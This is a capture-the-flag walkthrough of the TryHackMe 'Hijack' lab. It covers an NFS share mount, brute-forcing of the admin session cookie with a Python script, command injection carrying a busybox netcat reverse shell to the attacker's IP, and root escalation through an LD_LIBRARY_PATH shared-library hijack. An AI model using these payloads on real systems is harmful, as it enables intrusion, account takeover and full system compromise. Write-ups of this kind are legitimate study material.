Hijack

Recon Link to heading

Rust scan Link to heading

We started with a Rust scan, we found few open ports. The corresponding services also run on these ports.

┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ rustscan  -a  10.10.144.249  -- -sV | tee rustscan-intial
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Making sure 'closed' isn't just a state of mind.

[~] The config file is expected to be at "/home/boi/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.144.249:21
Open 10.10.144.249:22
Open 10.10.144.249:111
Open 10.10.144.249:80
Open 10.10.144.249:2049
Open 10.10.144.249:39729
Open 10.10.144.249:45952
Open 10.10.144.249:47873
Open 10.10.144.249:47853
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV" on ip 10.10.144.249
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-02 18:52 IST
NSE: Loaded 46 scripts for scanning.
Initiating Ping Scan at 18:52
Scanning 10.10.144.249 [2 ports]
Completed Ping Scan at 18:52, 0.26s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:52
Completed Parallel DNS resolution of 1 host. at 18:52, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 18:52
Scanning 10.10.144.249 [9 ports]
Discovered open port 80/tcp on 10.10.144.249
Discovered open port 21/tcp on 10.10.144.249
Discovered open port 111/tcp on 10.10.144.249
Discovered open port 22/tcp on 10.10.144.249
Discovered open port 45952/tcp on 10.10.144.249
Discovered open port 47873/tcp on 10.10.144.249
Discovered open port 39729/tcp on 10.10.144.249
Discovered open port 47853/tcp on 10.10.144.249
Discovered open port 2049/tcp on 10.10.144.249
Completed Connect Scan at 18:52, 0.19s elapsed (9 total ports)
Initiating Service scan at 18:52
Scanning 9 services on 10.10.144.249
Completed Service scan at 18:53, 12.87s elapsed (9 services on 1 host)
NSE: Script scanning 10.10.144.249.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 18:53
Completed NSE at 18:53, 0.82s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 18:53
Completed NSE at 18:53, 0.82s elapsed
Nmap scan report for 10.10.144.249
Host is up, received syn-ack (0.21s latency).
Scanned at 2024-07-02 18:52:56 IST for 15s

PORT      STATE SERVICE  REASON  VERSION
21/tcp    open  ftp      syn-ack vsftpd 3.0.3
22/tcp    open  ssh      syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     syn-ack Apache httpd 2.4.18 ((Ubuntu))
111/tcp   open  rpcbind  syn-ack 2-4 (RPC #100000)
2049/tcp  open  nfs      syn-ack 2-4 (RPC #100003)
39729/tcp open  mountd   syn-ack 1-3 (RPC #100005)
45952/tcp open  nlockmgr syn-ack 1-4 (RPC #100021)
47853/tcp open  mountd   syn-ack 1-3 (RPC #100005)
47873/tcp open  mountd   syn-ack 1-3 (RPC #100005)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.07 seconds

On visiting the website at port 80 we get.

On the signup page, it confirms that the user named admin exists. And they are the only ones that can visit http://<MACHINE IP>/administration.php I made an account for the site but nothing much there

I noticed that cookies set by the web app are just base64 encoded strings.

The sting is the combination of both the username and the md5 hash of the password, let’s explore further. Link to heading
┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ echo 'cm9vdDpmZjk4MzBjNDI2NjBjMWRkMTk0Mjg0NGY4MDY5Yjc0YQ=='| base64 -d
root:ff9830c42660c1dd1942844f8069b74a 

We also found the nfs is enabled and running.

┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ showmount -e 10.10.144.249
Export list for 10.10.144.249:
/mnt/share *

┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ mkdir share

┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ ls -la
drwxrwxr-x   - boi  2 Jul 19:15 share
.rw-rw-r-- 10k boi  2 Jul 18:53 rustscan-intial

┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ sudo mount -t nfs 10.10.144.249: share

┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ ls -la
drwx------@   - 1003  2 Jul 18:05 share
.rw-rw-r--  10k boi   2 Jul 18:53 rustscan-intial

┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ cd share
cd: permission denied: share

It appears we don’t have the correct uuid for the task, let’s make one

┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ sudo useradd ctf  -u 1003  -m -s /bin/bash

┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ sudo su ctf
┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ sudo su ctf
┌──(ctf㉿box)-[/home/boi/hacking/ctf/thm/hijack]
└─$ cd share/mnt/share/

┌──(ctf㉿box)-[/home/boi/hacking/ctf/thm/hijack/share/mnt/share]
└─$ ls
for_employees.txt

┌──(ctf㉿box)-[/home/boi/hacking/ctf/thm/hijack/share/mnt/share]
└─$ cat for_employees.txt
ftp creds :

ftpuser:[[Radacted]]

┌──(ctf㉿box)-[/home/boi/hacking/ctf/thm/hijack/share/mnt/share]
└─$ exit
exit
┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ sudo userdel ctf

┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ sudo rm -rf /home/ctf

we go with the FTP creds let’s use them

┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ ftp 10.10.117.233
Connected to 10.10.117.233.
220 (vsFTPd 3.0.3)
Name (10.10.117.233:boi): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||58014|)
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 Aug 08  2023 .
drwxr-xr-x    2 1002     1002         4096 Aug 08  2023 ..
-rwxr-xr-x    1 1002     1002          220 Aug 08  2023 .bash_logout
-rwxr-xr-x    1 1002     1002         3771 Aug 08  2023 .bashrc
-rw-r--r--    1 1002     1002          368 Aug 08  2023 .from_admin.txt
-rw-r--r--    1 1002     1002         3150 Aug 08  2023 .passwords_list.txt
-rwxr-xr-x    1 1002     1002          655 Aug 08  2023 .profile
226 Directory send OK.
ftp> get .from_admin.txt
local: .from_admin.txt remote: .from_admin.txt
229 Entering Extended Passive Mode (|||46937|)
150 Opening BINARY mode data connection for .from_admin.txt (368 bytes).
100% |********************************************************************************************************************************|   368        9.64 KiB/s    00:00 ETA
226 Transfer complete.
368 bytes received in 00:00 (1.75 KiB/s)
ftp> get .passwords_list.txt
local: .passwords_list.txt remote: .passwords_list.txt
229 Entering Extended Passive Mode (|||15097|)
150 Opening BINARY mode data connection for .passwords_list.txt (3150 bytes).
100% |********************************************************************************************************************************|  3150      143.05 MiB/s    00:00 ETA
226 Transfer complete.
3150 bytes received in 00:00 (9.93 KiB/s)
ftp> ^D
221 Goodbye.
┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ ls -la
drwxrwxr-x    - boi  2 Jul 19:37 share
.rw-rw-r--  368 boi  9 Aug  2023 .from_admin.txt
.rw-rw-r-- 3.1k boi  9 Aug  2023 .passwords_list.txt

┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ cat .from_admin.txt
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: .from_admin.txt
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ To all employees, this is "admin" speaking,
   2   │ i came up with a safe list of passwords that you all can use on the site, these passwords don't appear on any wordlist i tested so far, so i encourage you to use th
       │ em, even me i'm using one of those.
   3   4   │ NOTE To rick : good job on limiting login attempts, it works like a charm, this will prevent any future brute forcing.
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

It appears that the admin has used some passwords from the file, we can now use this to brute force, let’s use this. . As there is a lock-down in place to stop brute force from the login form.

I made a simple Python script that does that

import requests
import re 
import hashlib
import base64

file_path = '.passwords_list.txt'  
passwords = []  
md5 = hashlib.md5()
_fail = r"Access denied"

with open(file_path, 'r') as file:
    for line in file:
        passwords.append(line.strip()) 
for password in passwords:

    hashed_password = hashlib.md5(str(password).encode('utf-8')).hexdigest()

    plain = "admin:" + hashed_password
    encoded_bytes = base64.b64encode(plain.encode('utf-8'))
    sessionid = encoded_bytes.decode('utf-8')

    headers = {
            'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Origin': 'http://hijack.thm',
            'Referer': 'http://hijack.thm/administration.php',
            'Cookie': 'PHPSESSID='+sessionid,
            'Upgrade-Insecure-Requests': '1'
    }
    url = 'http://<MACHINE IP>/administration.php'

    response = requests.post(url, headers=headers)
    text = response.text
    fail = re.findall(_fail,text)
    if(len(fail) == 0):
        print("valid session found. id:   " + sessionid)
        print("                     pass: " + password )
         

Run the script, and we get the cookie we need to hijack the admin user on the website.

┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ python3 bruteforce.py
valid session found. id:   [[READACTED]]
                     pass: [[READACTED]]

Simply replace the cookies with the brute forced ones.

Here we get a simple service checker, I appear to simply run a systemctl command the input is sanitized

Initial Foothold Link to heading

let’s craft a simple reverse shell and send it

$(busybox nc 10.17.71.66 4444 -e /bin/bash 2>/dev/null & disown)

Listener side with shell stabilization.

┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.117.233 60352
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@Hijack:/var/www/html$ ^Z
zsh: suspended  nc -lvnp 4444

┌──(boi㉿box)-[~/hacking/ctf/thm/hijack]
└─$ stty raw -echo; fg

[1]  + continued  nc -lvnp 4444
                               export TERM=xterm
www-data@Hijack:/var/www/html$

TO User Rick Link to heading

let’s check our current Directory for the files. We found config.php and let’s check it out, we got ricked rolled, but we also got the creds

ww-data@Hijack:/var/www/html$ cat config.php
<?php
$servername = "localhost";
$username = "rick";
$password = [[READACTED]];
$dbname = "hijack";

// Create connection
$mysqli = new mysqli($servername, $username, $password, $dbname);

// Check connection
if ($mysqli->connect_error) {
  die("Connection failed: " . $mysqli->connect_error);
}
?>

Let’s just ssh into the rick user

we got the flag in the home DIR

rick@Hijack:~$ ls
user.txt
rick@Hijack:~$ wc -c user.txt
38 user.txt

Privilege Escalation Link to heading

checking the sudo -l

rick@Hijack:~$ sudo -l
Matching Defaults entries for rick on Hijack:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_LIBRARY_PATH

User rick may run the following commands on Hijack:
    (root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
rick@Hijack:~$

we can supply an LD_LIBRARY_PATH variable, this can be a good # Privilege Escalation vector a good source to learn more is : Linux Privilege Escalation - Environment Variables

library_path.c

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

compile

gcc -o /tmp/libcrypt.so.1 -shared -fPIC library_path.c

showtime

rick@Hijack:~$ vim library_path.c
rick@Hijack:~$ gcc -o /tmp/libcrypt.so.1 -shared -fPIC library_path.c
library_path.c: In function ‘hijack’:
library_path.c:8:9: warning: implicit declaration of function ‘setresuid’ [-Wimplicit-function-declaration]
         setresuid(0,0,0);
         ^
rick@Hijack:~$ sudo LD_LIBRARY_PATH=/tmp/ /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
/usr/sbin/apache2: /tmp/libcrypt.so.1: no version information available (required by /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0)
root@Hijack:~# whoami
root
root@Hijack:~# cd /root
root@Hijack:/root# ls
root.txt
root@Hijack:/root# wc -c root.txt
820 root.txt
root@Hijack:/root# cat root.txt

██╗░░██╗██╗░░░░░██╗░█████╗░░█████╗░██╗░░██╗
██║░░██║██║░░░░░██║██╔══██╗██╔══██╗██║░██╔╝
███████║██║░░░░░██║███████║██║░░╚═╝█████═╝░
██╔══██║██║██╗░░██║██╔══██║██║░░██╗██╔═██╗░
██║░░██║██║╚█████╔╝██║░░██║╚█████╔╝██║░╚██╗
╚═╝░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝

[[READACTED]]
root@Hijack:/root#

We got the flag.